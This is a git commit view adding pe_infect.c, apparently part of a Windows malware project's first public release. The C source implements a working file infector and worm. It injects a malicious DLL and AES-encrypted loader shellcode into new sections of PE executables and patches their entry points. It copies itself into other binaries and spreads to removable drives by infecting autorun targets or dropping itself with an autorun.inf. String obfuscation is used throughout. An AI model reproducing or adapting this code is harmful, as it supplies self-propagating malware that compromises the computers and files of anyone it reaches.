diff options
author | Toni Uhlig <matzeton@googlemail.com> | 2020-05-24 16:48:22 +0200 |
---|---|---|
committer | Toni Uhlig <matzeton@googlemail.com> | 2020-05-25 21:57:14 +0200 |
commit | 31c69b6ca1b91e7fd9fd8e14082fd2584c5f538c (patch) | |
tree | 16e789c7d68608831b498f41f54d9482b82a711a /source/pe_infect.c |
first public release
Signed-off-by: Toni Uhlig <matzeton@googlemail.com>
Diffstat (limited to 'source/pe_infect.c')
-rw-r--r-- | source/pe_infect.c | 731 |
1 files changed, 731 insertions, 0 deletions
diff --git a/source/pe_infect.c b/source/pe_infect.c new file mode 100644 index 0000000..a536aad --- /dev/null +++ b/source/pe_infect.c @@ -0,0 +1,731 @@ +/* + * Module: pe_infect.c + * Author: Toni <matzeton@googlemail.com> + * Purpose: Parses/Modifies a windows portable executable. + * Add sections, do image rebasing. + * Inject data into sections. + */ + +#include "compat.h" +#include "utils.h" +#include "log.h" +#include "pe_infect.h" +#include "mem.h" +#include "file.h" +#include "aes.h" +#include "crypt.h" +#include "patch.h" +#include "crypt_strings.h" +#include "xor_strings_gen.h" +#include "aes_strings_gen.h" +#include "loader_x86_crypt.h" + + +static DWORD sectionAdr = 0x0; +static const struct loader_x86_data* orig_ldr = NULL; + +/* default dll image base */ +#ifndef _MILLER_IMAGEBASE +#define _MILLER_IMAGEBASE 0x10000000 +#endif +static DWORD imageBase = _MILLER_IMAGEBASE; +static DWORD imageSize = 0x0; + +/* AES encrypted byte buffer */ +#if defined(_PRE_RELEASE) || defined(_RUN_TESTS) +_AESDATA_(ldrdata, LOADER_SHELLCODE_DEBUG); +static SIZE_T real_ldrsiz = LOADER_SHELLCODE_DEBUG_SIZE; +#else +_AESDATA_(ldrdata, LOADER_SHELLCODE); +static SIZE_T real_ldrsiz = LOADER_SHELLCODE_SIZE; +#endif +_AESSIZE_(ldrsiz, ldrdata); + + +inline void setOrigLoader(const struct loader_x86_data* ldr) { + orig_ldr = ldr; +} + +inline const struct loader_x86_data* getOrigLoader(void) { + return orig_ldr; +} + +inline void setImageBase(DWORD newBase) { + imageBase = newBase; +} + +inline DWORD getImageBase(void) { + return imageBase; +} + +inline void setImageSize(DWORD newSize) { + imageSize = newSize; +} + +inline DWORD getImageSize(void) { + return imageSize; +} + +inline void setSectionAdr(DWORD newAdr) { + sectionAdr = newAdr; +} + +inline DWORD getSectionAdr(void) { + return sectionAdr; +} + +BYTE* getLoader(SIZE_T* pSiz) +{ + aes_ctx_t* ctx = aes_alloc_ctx((unsigned char*)LDR_KEY, LDR_KEYSIZ); + BYTE* ldr = (BYTE*)aes_crypt_s(ctx, (char*)ldrdata, (size_t)ldrsiz, (size_t*)pSiz, FALSE); + aes_free_ctx(ctx); + return ldr; +} + +SIZE_T getRealLoaderSize(void) +{ + return real_ldrsiz; +} + +inline BYTE* PtrFromOffset(BYTE* base, DWORD offset) { + return ((BYTE*)base) + offset; +} + +DWORD RvaToOffset(const struct ParsedPE* ppPtr, DWORD dwRva) +{ + PIMAGE_SECTION_HEADER sections = ppPtr->hdrSection; + DWORD nSections = ppPtr->hdrFile->NumberOfSections; + DWORD dwPos = 0; + + for (SIZE_T i = 0; i < nSections; ++i) { + if (dwRva >= sections[i].VirtualAddress) { + dwPos = sections[i].VirtualAddress; + dwPos += sections[i].SizeOfRawData; + } + if (dwRva < dwPos) { + dwRva = dwRva - sections[i].VirtualAddress; + return dwRva + sections[i].PointerToRawData; + } + } + return -1; +} + +inline BYTE* RvaToPtr(const struct ParsedPE* ppPtr, DWORD dwRva) +{ + return PtrFromOffset(ppPtr->ptrToBuf, RvaToOffset(ppPtr, dwRva)); +} + +DWORD OffsetToRva(const struct ParsedPE* ppPtr, DWORD offset) +{ + if (ppPtr->hdrFile->NumberOfSections <= 0 || ppPtr->hdrOptional->SizeOfHeaders > offset) + return -1; + PIMAGE_SECTION_HEADER sections = ppPtr->hdrSection; + DWORD nSections = ppPtr->hdrFile->NumberOfSections; + DWORD dwPos = sections[0].VirtualAddress + (offset - sections[0].PointerToRawData); + + for (SIZE_T i = 0; i < nSections; ++i) { + if (offset < sections[i].PointerToRawData) { + break; + } + dwPos = sections[i].VirtualAddress + (offset - sections[i].PointerToRawData); + } + return dwPos + ppPtr->hdrOptional->ImageBase; +} + +inline DWORD PtrToOffset(const struct ParsedPE* ppPtr, const BYTE* ptr) +{ + DWORD dwRva = (DWORD)ptr - (DWORD)ppPtr->ptrToBuf; + return dwRva; +} + +DWORD PtrToRva(const struct ParsedPE* ppPtr, const BYTE* ptr) +{ + return OffsetToRva(ppPtr, PtrToOffset(ppPtr, ptr)); +} + +BOOL bParsePE(BYTE* buf, const DWORD szBuf, struct ParsedPE* ppPtr, BOOL earlyStage) +{ + ppPtr->valid = FALSE; + /* check minimum size */ + if (szBuf > 0 && szBuf < sizeof(IMAGE_DOS_HEADER)+sizeof(IMAGE_FILE_HEADER)+sizeof(IMAGE_OPTIONAL_HEADER)+sizeof(IMAGE_SECTION_HEADER)) + return FALSE; + ppPtr->ptrToBuf = buf; + ppPtr->bufSiz = szBuf; + ppPtr->hdrDos = (PIMAGE_DOS_HEADER)buf; + if (ppPtr->hdrDos->e_magic != IMAGE_DOS_SIGNATURE) /* MZ */ + return FALSE; + /* validate e_lfanew (0xFF >= x >= 0x40) */ + if ( (szBuf > 0 && szBuf <= (DWORD)ppPtr->hdrDos->e_lfanew) || ppPtr->hdrDos->e_lfanew > 0xFF || ppPtr->hdrDos->e_lfanew < 0x40 ) + return FALSE; + ppPtr->hdrFile = (PIMAGE_FILE_HEADER)(buf + ppPtr->hdrDos->e_lfanew + sizeof(DWORD)); + ppPtr->hdrOptional = (PIMAGE_OPTIONAL_HEADER)(buf + ppPtr->hdrDos->e_lfanew + sizeof(DWORD)+sizeof(IMAGE_FILE_HEADER)); + if (ppPtr->hdrOptional->Magic != 0x010b) /* PE32 */ + return FALSE; + if (ppPtr->hdrFile->Machine != 0x014C) /* i386 */ + return FALSE; + ppPtr->hdrSection = (PIMAGE_SECTION_HEADER)(buf + ppPtr->hdrDos->e_lfanew + sizeof(IMAGE_NT_HEADERS)); + ppPtr->dataDir = (PIMAGE_DATA_DIRECTORY)ppPtr->hdrOptional->DataDirectory; + ppPtr->valid = TRUE; + + /* during initial image rebasing, dont execute stuff which needs a rebased image */ + if (!earlyStage) { + ppPtr->hasDLL = FALSE; + ppPtr->hasLdr = FALSE; + /* pointer to dll section */ + DBUF(DLLSECTION_ENUM, dllsection); + if ( (ppPtr->ptrToDLL = pGetSegmentAdr((char*)dllsection, TRUE, ppPtr, &(ppPtr->sizOfDLL))) != NULL && ppPtr->sizOfDLL > 0) + ppPtr->hasDLL = TRUE; + + /* pointer to loader section */ + DBUF(LDRSECTION_ENUM, ldrsection); + if ( (ppPtr->ptrToLdr = pGetSegmentAdr((char*)ldrsection, TRUE, ppPtr, &(ppPtr->sizOfLdr))) != NULL && ppPtr->sizOfLdr > 0) { + ppPtr->loader86 = (loader_x86_data*)(ppPtr->ptrToLdr + getRealLoaderSize() - sizeof(struct loader_x86_data)); + ppPtr->hasLdr = bCheckEndMarker(ppPtr); + if (!ppPtr->hasLdr) { + LOG_MARKER; + } + } + } + return TRUE; +} + +BOOL bCheckEndMarker(const struct ParsedPE *ppPtr) +{ + unsigned char orig_loader_endmarker[] = { _LOADER_ENDMARKER }; + unsigned char* loader_endmarker = (unsigned char*)&(ppPtr->loader86->endMarker); + BOOL ret = TRUE; + for (size_t i = 0; i < sizeof(orig_loader_endmarker); ++i) { + if (loader_endmarker[i] != orig_loader_endmarker[i]) { + ret = FALSE; + break; + } + } + return ret; +} + +BOOL bAddSection(const char *sName, const BYTE *sectionContentBuf, SIZE_T szSection, BOOL executable, struct ParsedPE *ppPtr) +{ + /* Peering Inside the PE: https://msdn.microsoft.com/en-us/library/ms809762.aspx */ + + /* enough header space avail? */ + if (ppPtr->hdrOptional->SizeOfHeaders < (ppPtr->hdrDos->e_lfanew + sizeof(DWORD) + + sizeof(IMAGE_FILE_HEADER) + ppPtr->hdrFile->SizeOfOptionalHeader + + (ppPtr->hdrFile->NumberOfSections*sizeof(IMAGE_SECTION_HEADER))+sizeof(IMAGE_SECTION_HEADER))) + { + return FALSE; + } + + /* Read the original fields of headers */ + DWORD originalNumberOfSections = ppPtr->hdrFile->NumberOfSections; + /* Create the new section */ + DWORD pointerToLastSection = 0; + DWORD sizeOfLastSection = 0; + DWORD virtualAddressOfLastSection = 0; + DWORD virtualSizeOfLastSection = 0; + + for(SIZE_T i = 0; i != originalNumberOfSections; ++i) + { + if (pointerToLastSection < ppPtr->hdrSection[i].PointerToRawData) + { + /* section alrdy exists? */ + if ( strncmp((const char*)ppPtr->hdrSection[i].Name, sName, IMAGE_SIZEOF_SHORT_NAME) == 0) + return FALSE; + pointerToLastSection = ppPtr->hdrSection[i].PointerToRawData; + sizeOfLastSection = ppPtr->hdrSection[i].SizeOfRawData; + virtualAddressOfLastSection = ppPtr->hdrSection[i].VirtualAddress; + virtualSizeOfLastSection = ppPtr->hdrSection[i].Misc.VirtualSize; + } + } + /* if a symbol table (debug info) is present, pointerToLastSection might be wrong */ + /* symbol table is usually stored _after_ the last section and retrieved via IMAGE_FILE_HEADER.PointerToSymbolTable */ + if (ppPtr->bufSiz > pointerToLastSection + sizeOfLastSection) + { + pointerToLastSection = ppPtr->bufSiz; + sizeOfLastSection = 0; + } + + /* set new section header data */ + IMAGE_SECTION_HEADER newImageSectionHeader; + memset(&newImageSectionHeader, '\0', sizeof(IMAGE_SECTION_HEADER)); + newImageSectionHeader.Misc.VirtualSize = szSection; + memcpy(&newImageSectionHeader.Name, sName, strnlen(sName, sizeof(newImageSectionHeader.Name))); + newImageSectionHeader.PointerToRawData = XMemAlign(pointerToLastSection + sizeOfLastSection, ppPtr->hdrOptional->FileAlignment, 0); + newImageSectionHeader.PointerToRelocations = 0; + newImageSectionHeader.SizeOfRawData = XMemAlign(szSection, ppPtr->hdrOptional->FileAlignment, 0); /* aligned to FileAlignment */ + newImageSectionHeader.VirtualAddress = XMemAlign(virtualSizeOfLastSection, ppPtr->hdrOptional->SectionAlignment, virtualAddressOfLastSection); /* aligned to Section Alignment */ + /* Loader is usually stored in an executable section, DLL in a readonly section. + * The Loader does not execute code directly from section. + * (see loader source for detailed info) + */ + newImageSectionHeader.Characteristics = (executable == TRUE ? IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE : IMAGE_SCN_MEM_READ); + + /* update FILE && OPTIONAL header */ + ++ppPtr->hdrFile->NumberOfSections; + ppPtr->hdrOptional->SizeOfImage = XMemAlign(newImageSectionHeader.VirtualAddress + newImageSectionHeader.Misc.VirtualSize, ppPtr->hdrOptional->SectionAlignment, 0); + /* save SizeOfImage, because ppPtr->hdrOptional->SizeOfImage might be invalid (re-allocation!) */ + SIZE_T szNewSizOfImage = ppPtr->hdrOptional->SizeOfImage; + /* (re)allocate memory for _full_ pe image (including all headers, new section and section data) */ + if (!(ppPtr->ptrToBuf = realloc(ppPtr->ptrToBuf, szNewSizOfImage))) + return FALSE; + + /* if everything is gone right, parsing should succeed */ + if (!bParsePE(ppPtr->ptrToBuf, szNewSizOfImage, ppPtr, FALSE)) + { + return FALSE; + } + + /* copy new section header */ + memcpy(&ppPtr->hdrSection[ppPtr->hdrFile->NumberOfSections-1], &newImageSectionHeader, sizeof(IMAGE_SECTION_HEADER)); + /* copy new section data */ + memcpy(ppPtr->ptrToBuf+newImageSectionHeader.PointerToRawData, sectionContentBuf, szSection); + + return TRUE; +} + +static BOOL bFindMyself(struct ParsedPE* ppe, DWORD* pDwBase, DWORD* pDwSize) +{ + SIZE_T siz = 0x0; + DWORD startAdr = 0x0; + + /* Am I already in an infected binary? */ + if (ppe->hasDLL) { + startAdr = (DWORD)ppe->ptrToDLL; + siz = ppe->sizOfDLL; + } + /* dirty workaround e.g. when started from runbin.exe */ + if (!startAdr) { + startAdr = getSectionAdr(); + } + if (!siz) { + siz = getImageSize(); + } + /* check dwBase for valid memory region */ + if (startAdr) + { + *pDwBase = startAdr; + *pDwSize = siz; + if (_IsBadReadPtr((void*)startAdr, siz) == TRUE) + { + *pDwBase = 0x0; + *pDwSize = 0x0; + LOG_MARKER + } else return TRUE; + } else LOG_MARKER + return FALSE; +} + +static struct ParsedPE* +pParsePE(BYTE* buf, SIZE_T szBuf) +{ + struct ParsedPE* ppe = calloc(1, sizeof(struct ParsedPE)); + + if (!ppe) + { + return NULL; + } + if (bParsePE(buf, szBuf, ppe, FALSE)) + { + return ppe; + } + free(ppe); + return NULL; +} + +static BOOL bInfectMemWith(const BYTE* maliciousBuf, SIZE_T maliciousSiz, struct ParsedPE* ppe) +{ + BOOL ret = FALSE; + + if (ppe) + { + if (bIsInfected(ppe)) { + LOG_MARKER + } else { + DBUF(DLLSECTION_ENUM, dllsection); + if (bAddSection((char*)dllsection, maliciousBuf, maliciousSiz, FALSE, ppe)) + { + ret = TRUE; + } else LOG_MARKER + + DBUF(LDRSECTION_ENUM, ldrsection); + SIZE_T lsiz = 0; + BYTE* l = getLoader(&lsiz); + if (l && bAddSection((char*)ldrsection, l, lsiz, TRUE, ppe)) + { + ret = TRUE; + } else LOG_MARKER; + if (l) free(l); + + if (ret) { + ret = bParsePE(ppe->ptrToBuf, ppe->bufSiz, ppe, FALSE); + } + } + } + else + { + LOG_MARKER + } + return ret; +} + +BOOL bInfectFileWith(const char* sFile, const BYTE* maliciousBuf, SIZE_T maliciousSiz) +{ + BOOL ret = FALSE; + BYTE* buf; + SIZE_T szBuf; + HANDLE hFile; + + if (!bOpenFile(sFile, OF_WRITEACCESS, &hFile)) { + LOG_MARKER + return ret; + } + if (!bFileToBuf(hFile, &buf, &szBuf)) + { + LOG_MARKER + _CloseHandle(hFile); + return ret; + } + struct ParsedPE* ppe = pParsePE(buf, szBuf); + if (ppe) + { + if (bInfectMemWith(maliciousBuf, maliciousSiz, ppe)) + { + if (bPatchNearEntry(ppe)) + { + if (nBufToFile(hFile, ppe->ptrToBuf, ppe->bufSiz) == ppe->bufSiz) + { + if (!bIsInfected(ppe)) + { + LOG_MARKER + } else { + ret = TRUE; + } + } + } else { + LOG_MARKER + } + } + /* buf might not valid anymore (after bInfectMemWith(...) called) */ + buf = ppe->ptrToBuf; + free(ppe); + } else LOG_MARKER; + free(buf); + _CloseHandle(hFile); + return ret; +} + +BOOL bInfectWithMyself(const char* sFile) +{ + BOOL ret = FALSE; + BYTE* buf = NULL; + SIZE_T szBuf; + LPTSTR sFileMyself = calloc(sizeof(TCHAR), MAX_PATH+1); + HANDLE hMyself; + struct ParsedPE* ppe = NULL; + + if (!sFileMyself) + { + LOG_MARKER + } else if (_GetModuleFileName(NULL, sFileMyself, MAX_PATH) == 0) + { + LOG_MARKER + } else if (!bOpenFile(sFileMyself, 0, &hMyself)) { + LOG_MARKER + } else if (!bFileToBuf(hMyself, &buf, &szBuf)) + { + LOG_MARKER + } else { + ppe = pParsePE(buf, szBuf); + } + if (ppe) + { + /* find DLL (segment-)address and (segment-)size in current executable */ + DWORD dwBase = 0x0; + DWORD dwSize = 0x0; + if (!bFindMyself(ppe, &dwBase, &dwSize)) + { + LOG_MARKER + } else { + /* infect target executable (DLL and LOADER) + * Remember: The Loader is always accessible by our DLL (AES encrypted). + */ + if (bInfectFileWith(sFile, (BYTE*)dwBase, dwSize)) { + ret = TRUE; + } else { LOG_MARKER } + } + free(ppe); + } else LOG_MARKER; + if (buf) + free(buf); + _CloseHandle(hMyself); + free(sFileMyself); + return ret; +} + +BOOL bIsInfected(const struct ParsedPE* ppPtr) +{ + return (ppPtr->hasDLL && ppPtr->hasLdr); +} + +void* pGetSegmentAdr(const char* sName, BOOL caseSensitive, const struct ParsedPE* ppPtr, SIZE_T* pSegSiz) +{ + DWORD result = 0; + DWORD sSize = 0; + + if (!ppPtr->valid) return NULL; + /* walk through sections and compare every name with sName */ + for (DWORD idx = 0; idx < ppPtr->hdrFile->NumberOfSections; ++idx) + { + PIMAGE_SECTION_HEADER sec = &ppPtr->hdrSection[idx]; + if ( (caseSensitive && strncmp(sName, (const char *)sec->Name, IMAGE_SIZEOF_SHORT_NAME) == 0) + || strnicmp(sName, (const char *)sec->Name, IMAGE_SIZEOF_SHORT_NAME) == 0) + { + result = RvaToOffset(ppPtr, sec->VirtualAddress); + sSize = sec->Misc.VirtualSize; + break; + } + } + + if (result != 0) + { + /* check for valid RVA */ + result += (DWORD)ppPtr->ptrToBuf; + if (_IsBadReadPtr((void*)result, sSize)) + { + result = 0; + } + } + + if (pSegSiz) + *pSegSiz = sSize; + return (void*)result; +} + +DWORD dwDoRebase(void* dllSectionAdr, SIZE_T dllSectionSiz, const void* dllBaseAdr) +{ + struct ParsedPE ppe; + + if (!bParsePE(dllSectionAdr, dllSectionSiz, &ppe, TRUE)) + return 0; + + /* find symbol relocations (.reloc section) */ + DWORD dwBaseReloc = ppe.dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress; + PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)RvaToPtr(&ppe, dwBaseReloc); + PIMAGE_BASE_RELOCATION pRelocEnd = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseReloc + ppe.dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size); + + /* We cant rely on getImageBase(), because variable imageBase might point to a faulty memory location. * + * Rebasing is one of the first things to do! + */ + DWORD dllImageBase = _MILLER_IMAGEBASE; + DWORD dwDelta = (DWORD)dllBaseAdr - dllImageBase; + + /* walk through all relocation entries and add delta to every entry */ + while (pBaseReloc < pRelocEnd && pBaseReloc->VirtualAddress) + { + int count = (pBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); + WORD* wCurEntry = (WORD*)(pBaseReloc + 1); + void *pPageVa = (void *)((PBYTE)dllBaseAdr + pBaseReloc->VirtualAddress); + + for (int i = 0; i < count; i++) + { + if (wCurEntry[i] >> 12 == IMAGE_REL_BASED_HIGHLOW) { + *(DWORD *)((PBYTE)pPageVa + (wCurEntry[i] & 0x0fff)) += dwDelta; + } + } + pBaseReloc = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseReloc + pBaseReloc->SizeOfBlock); + } + return dwDelta; +} + +static int szReadAutorunInf(LPCSTR szPath, LPSTR pTarget, SIZE_T szTarget) +{ + int retval = -1; + BYTE* buf = NULL; + SIZE_T szBuf = 0; + + (void) szTarget; + if (bFileNameToBuf(szPath, &buf, &szBuf) == TRUE) { + DBUF(AUTORUN_OPEN_ENUM, __autoOpen); + /* parse `open=` substring */ + const char* dbuf = COMPAT(strnistr)((const char*)buf, __autoOpen, szBuf); + int szOpen = 0; + + if (!dbuf) + goto end; + dbuf += strnlen(__autoOpen, CLEN(AUTORUN_OPEN_ENUM)); + + /* read line until NEWLINE or NUL */ + char* szEnd = strchr(dbuf, '\n'); + if (szEnd) { + szOpen = (DWORD)szEnd - (DWORD)(dbuf); + /* windoze uses carriage returns */ + if (szOpen > 1 && dbuf[szOpen-2] == '\r') + szEnd--; + } else { + /* no newline found, so use whole buffer */ + szOpen = strnlen(dbuf, szBuf); + } + + if (szOpen > 0) { + const char* prog = dbuf; + if (qtok((char*)dbuf, (char**)&dbuf) && *dbuf) { + szOpen = dbuf - prog - 1; + memmove(pTarget, prog, szOpen); + pTarget[szOpen] = 0; + } + } + + retval = szOpen; + } + +end: + free(buf); + return retval; +} + +DWORD dwInfectRemovables(void) +{ + DWORD retval = 0; + struct LogicalDrives* devs = calloc(DEFAULT_DEVS, sizeof(struct LogicalDrives)); + + if (devs) { + DWORD count = dwEnumDrives(devs, DEFAULT_DEVS); + if (count > 0) { + LPTSTR cmd = _GetCommandLine(); + LPTSTR next = NULL; + LPTSTR arg0 = NULL; + DBUF(FILE_AUTORUN_INF_ENUM, __autorun); + + if (!cmd) + goto end; + if (qtok(cmd, &next) && *next) { + arg0 = cmd; + } + + BOOL useCurrentBinary = FALSE; + BYTE* buf = NULL; + SIZE_T szBuf = 0; + struct ParsedPE* ppe = NULL; + if (bFileNameToBuf(arg0, &buf, &szBuf) == TRUE) { + ppe = pParsePE(buf, szBuf); + if (ppe && dwCountNonSystemImportLibs(ppe) == 0) { + useCurrentBinary = TRUE; + } + } + + for (DWORD i = 0; i < count; ++i) { + if (devs[i].devType == DRIVE_REMOVABLE) { +#ifdef _PRE_RELEASE + COMPAT(printf)("Infecting Drive: %s\n", devs[i].name); +#endif + /* if autorun program exists, try to infect the executable it points */ + char* fullPath = calloc(MAX_PATH+1, sizeof(char)); + if (isFileInDir(devs[i].name, __autorun) == TRUE) { + DBUF(DIRFILE_FMT_ENUM, __fmt); + if (COMPAT(snprintf)(fullPath, MAX_PATH+1, __fmt, devs[i].name, __autorun) > 0) { + if (szReadAutorunInf(fullPath, fullPath, MAX_PATH) >= 0) { +#if defined(_PRE_RELEASE) && defined(_EXTRA_VERBOSE) + COMPAT(printf)("Infecting: %s\n", fullPath); +#endif + if (!bInfectWithMyself(fullPath)) + LOG_MARKER; + } else LOG_MARKER; + } else LOG_MARKER; + } else if (useCurrentBinary == TRUE) { + /* if no autorun executable detected, just copy ourself to it (if possible) */ + DBUF(FILE_AUTORUN_INF_ENUM, __autorunInf); + DBUF(AUTORUN_FMT_ENUM, __autorunInfFmt); + DBUF(FILE_AUTORUN_EXE_ENUM, __autorunExe); + DBUF(DIRFILE_FMT_ENUM, __dirfile); + + char* autorunInf = calloc(MAX_PATH+1, sizeof(char)); + int len = COMPAT(snprintf)(autorunInf, MAX_PATH+1, __autorunInfFmt, devs[i].name, __autorunExe); + COMPAT(snprintf)(fullPath, MAX_PATH+1, __dirfile, devs[i].name, __autorunInf); + if (bBufToFileName(fullPath, OF_WRITEACCESS | OF_CREATENEW, (BYTE*)autorunInf, len) != TRUE) + LOG_MARKER; + + TGL_FLAG(ppe->loader86, FLAG_SHELLEXEC_ONLY); + COMPAT(snprintf)(fullPath, MAX_PATH+1, __dirfile, devs[i].name, __autorunExe); + if (bBufToFileName(fullPath, OF_WRITEACCESS | OF_CREATENEW, buf, szBuf) != TRUE) + LOG_MARKER; + free(autorunInf); + } else LOG_MARKER; + free(fullPath); + } + } + + free(ppe); + free(buf); + } + } +end: + free(devs); + return retval; +} + +DWORD dwCountNonSystemImportLibs(const struct ParsedPE* ppPtr) +{ + DWORD retval = -1; + char* sysDir = calloc(MAX_PATH+1, sizeof(char)); + + if (ppPtr->valid == TRUE) { + DWORD adr = ppPtr->dataDir[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; + PIMAGE_IMPORT_DESCRIPTOR idt = (PIMAGE_IMPORT_DESCRIPTOR)RvaToPtr(ppPtr, adr); + + if (_GetSystemDirectory(sysDir, MAX_PATH) == 0) + goto end; + + retval = 0; + while (idt->Name) { + if (isFileInDir(sysDir, (LPSTR)RvaToPtr(ppPtr, idt->Name)) == TRUE) { +#if defined(_PRE_RELEASE) && defined(_EXTRA_VERBOSE) + COMPAT(printf)("SYS-DLL found: %s\\%s !!\n", sysDir, (LPSTR)RvaToPtr(ppPtr, idt->Name)); +#endif + } else retval++; + idt++; + } + } + +end: + free(sysDir); + return retval; +} + +FARPROC WINAPI fnMyGetProcAddress(HMODULE hModule, LPCSTR szProcName) +{ + if (! hModule || ! szProcName) + return NULL; + + BYTE* modb = (BYTE*)hModule; + struct ParsedPE ppe = {0}; + if (! bParsePE(modb, 0, &ppe, TRUE) || ! ppe.valid) + return NULL; + + PIMAGE_DATA_DIRECTORY eDataDir = (PIMAGE_DATA_DIRECTORY)(&ppe.dataDir[IMAGE_DIRECTORY_ENTRY_EXPORT]); + PIMAGE_EXPORT_DIRECTORY eDir = (PIMAGE_EXPORT_DIRECTORY)(modb + eDataDir->VirtualAddress); + + void** funcTable = (void**)(modb + eDir->AddressOfFunctions); + WORD* ordTable = (WORD*) (modb + eDir->AddressOfNameOrdinals); + char** nameTable = (char**)(modb + eDir->AddressOfNames); + void* address = NULL; + size_t nProcName = COMPAT(strlen)(szProcName); + + if ( ((DWORD)(szProcName) >> 16) == 0 ) { + /* import by ordinal */ + WORD ordinal = LOWORD(szProcName); + DWORD ordBase = eDir->Base; + /* valid orinal? */ + if (ordinal < ordBase || ordinal > ordBase + eDir->NumberOfFunctions) + return NULL; + address = (void*)(modb + (DWORD)funcTable[ordinal - ordBase]); + } else { + /* import by name */ + for (DWORD i = 0; i < eDir->NumberOfNames; ++i) { + /* calculate name tables pointer from RVA */ + if (COMPAT(strncmp)(szProcName, (const char*)(modb + (DWORD)nameTable[i]), nProcName) == 0) { + address = (void*)(modb + (DWORD)funcTable[ordTable[i]]); + } + } + } + + return address; +} |